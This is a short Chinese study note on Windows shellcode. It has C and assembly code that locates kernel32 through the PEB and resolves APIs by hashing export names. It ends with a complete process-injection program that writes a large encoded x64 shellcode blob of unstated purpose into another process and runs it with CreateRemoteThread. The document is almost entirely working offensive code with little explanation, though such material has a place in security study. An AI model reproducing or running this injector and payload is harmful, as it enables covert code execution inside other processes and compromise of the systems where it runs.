[笔记]Windows安全之《三》Shellcode

//Windows XP SP3+VC6.0，编译选项：Debug（默认配置）
#include <stdio.h>
#include <stdio.h>
#include <Windows.h>
int main(int argc, char*argv[])
{
  DWORD hKernel32 = 0;
  _asm{
    mov eax,fs:[30h]
    mov eax,dword ptr[eax + 0ch]
    mov esi,dword ptr[eax + 1ch]
    lodsd 
    mov eax,dword ptr[eax + 8]
    mov hKernel32, eax
    ; 获取Kernel32基址
  }
  printf("hKernel32 0x%x\n", hKernel32);
  system("pause");
  return 0;
}

FindApi:
    push    ecx
    push    ebp
    mov     esi, dword ptr[ebx + 3Ch] // e_lfanew
    mov     esi, dword ptr[esi + ebx + 78h]// EATAddr
    add     esi, ebx
    push    esi
    mov     esi, dword ptr[esi + 20h]    //AddressOfNames
    add     esi, ebx
    xor     ecx, ecx
    dec     ecx
Find_Loop :
    inc     ecx
    lods    dword ptr[esi]
    add     eax, ebx
    xor     ebp, ebp
//计算hash值 
Hash_Loop :
  movsx   edx, byte ptr[eax]
    cmp     dl, dh
    je      hash_OK
    ror     ebp, 7
    add     ebp, edx
    inc     eax
    jmp     Hash_Loop
hash_OK :
    //判断hash值是否相等
    cmp     ebp, dword ptr[edi]
    jnz     Find_Loop
    pop     esi
    mov     ebp, dword ptr[esi + 24h] //Ordinal Table
    add     ebp, ebx
    mov     cx, word ptr[ebp + ecx * 2]
    mov     ebp, dword ptr[esi + 1Ch] //Address Table
    add     ebp, ebx
    mov     eax, dword ptr[ebp + ecx * 4]
    add     eax, ebx

#include <stdio.h>
#include <windows.h>
unsigned char ShellCode[] =
"\x48\x31\xc9\x48\x81\xe9\xc0\xff\xff\xff\x48\x8d\x05\xef\xff"
"\xff\xff\x48\xbb\xce\x25\x3d\xaf\x16\x16\x69\x6f\x48\x31\x58"
"\x27\x48\x2d\xf8\xff\xff\xff\xe2\xf4\x32\x6d\xbe\x4b\xe6\xfe"
"\xa5\x6f\xce\x25\x7c\xfe\x57\x46\x3b\x3e\x98\x6d\x0c\x7d\x73"
"\x5e\xe2\x3d\xae\x6d\xb6\xfd\x0e\x5e\xe2\x3d\xee\x6d\xb6\xdd"
"\x46\x5e\x66\xd8\x84\x6f\x70\x9e\xdf\x5e\x58\xaf\x62\x19\x5c"
"\xd3\x14\x3a\x49\x2e\x0f\xec\x30\xee\x17\xd7\x8b\x82\x9c\x64"
"\x6c\xe7\x9d\x44\x49\xe4\x8c\x19\x75\xae\xc6\x70\xe8\x17\xd6"
"\x2e\x3f\xa0\x93\x64\x69\x6f\xce\xae\xbd\x27\x16\x16\x69\x27"
"\x4b\xe5\x49\xc8\x5e\x17\xb9\x3f\x45\x6d\x25\xeb\x9d\x56\x49"
"\x26\xcf\xf5\xde\xf9\x5e\xe9\xa0\x2e\x45\x11\xb5\xe7\x17\xc0"
"\x24\x5e\x07\x6d\x0c\x6f\xba\x57\xa8\xa6\xc3\x64\x3c\x6e\x2e"
"\xf6\x1c\x9e\x82\x26\x71\x8b\x1e\x53\x50\xbe\xbb\xfd\x65\xeb"
"\x9d\x56\x4d\x26\xcf\xf5\x5b\xee\x9d\x1a\x21\x2b\x45\x65\x21"
"\xe6\x17\xc6\x28\xe4\xca\xad\x75\xae\xc6\x57\x31\x2e\x96\x7b"
"\x64\xf5\x57\x4e\x28\x36\x8f\x7f\x75\x2c\xfa\x36\x28\x3d\x31"
"\xc5\x65\xee\x4f\x4c\x21\xe4\xdc\xcc\x76\x50\xe9\xe9\x34\x26"
"\x70\x52\x4e\x9d\x49\x25\x5b\x6f\xce\x64\x6b\xe6\x9f\xf0\x21"
"\xee\x22\x85\x3c\xaf\x16\x5f\xe0\x8a\x87\x99\x3f\xaf\x31\x19"
"\xa9\xc7\xcf\x3b\x7c\xfb\x5f\x9f\x8d\x23\x47\xd4\x7c\x15\x5a"
"\x61\x4f\x68\x31\xf0\x71\x26\xfc\x7e\x68\x6e\xce\x25\x64\xee"
"\xac\x3f\xe9\x04\xce\xda\xe8\xc5\x1c\x57\x37\x3f\x9e\x68\x0c"
"\x66\x5b\x27\xa9\x27\x31\xe5\x75\x26\xd4\x5e\x96\xaf\x86\xac"
"\xfc\xee\xac\xfc\x66\xb0\x2e\xda\xe8\xe7\x9f\xd1\x03\x7f\x8f"
"\x7d\x71\x26\xf4\x5e\xe0\x96\x8f\x9f\xa4\x0a\x62\x77\x96\xba"
"\x4b\xe5\x49\xa5\x5f\xe9\xa7\x1a\x2b\xcd\xae\xaf\x16\x16\x21"
"\xec\x22\x35\x75\x26\xf4\x5b\x58\xa6\xa4\x21\x7c\xf7\x5e\x9f"
"\x90\x2e\x74\x27\xe4\x67\x49\xe9\xbc\xec\x36\x25\x43\xfa\x5e"
"\x95\xad\x4f\x90\xac\xcb\xc5\x56\x57\x30\x07\xce\x35\x3d\xaf"
"\x57\x4e\x21\xe6\x3c\x6d\x0c\x66\x57\xac\x31\xcb\x9d\xc0\xc2"
"\x7a\x5e\x9f\xaa\x26\x47\xe2\x70\x9e\xdf\x5f\xe0\x9f\x86\xac"
"\xe7\xe7\x9f\xef\x28\xd5\xcc\xfc\xf5\xf0\xe9\xc3\xea\x97\xce"
"\x58\x15\xf7\x57\x41\x30\x07\xce\x65\x3d\xaf\x57\x4e\x03\x6f"
"\x94\x64\x87\xa4\x39\x19\x59\x90\x1b\x72\x64\xee\xac\x63\x07"
"\x22\xaf\xda\xe8\xe6\xe9\xd8\x80\x53\x31\xda\xc2\xe7\x17\xd5"
"\x21\x46\x08\x6d\xb8\x59\x63\xa2\x28\x90\x29\x7d\x57\xaf\x4f"
"\x5f\xae\xad\x3e\x90\x9f\xf9\xe9\xc3\x69\x6f";
int main()
{
  HANDLE Handle;
  HANDLE remoteThread;
  PVOID remoteBuffer;
  DWORD Pid;
  printf("输入待注入进程PID号：");
  scanf("%d", &Pid);
  Handle = OpenProcess(PROCESS_ALL_ACCESS, FALSE,Pid);
  remoteBuffer = VirtualAllocEx(Handle, NULL, sizeof(ShellCode), (MEM_RESERVE | MEM_COMMIT), PAGE_EXECUTE_READWRITE);
  WriteProcessMemory(Handle, remoteBuffer, ShellCode, sizeof(ShellCode), NULL);
  remoteThread = CreateRemoteThread(Handle, NULL, 0, (LPTHREAD_START_ROUTINE)remoteBuffer, NULL, 0, NULL);
  CloseHandle(Handle);
  return 0;
}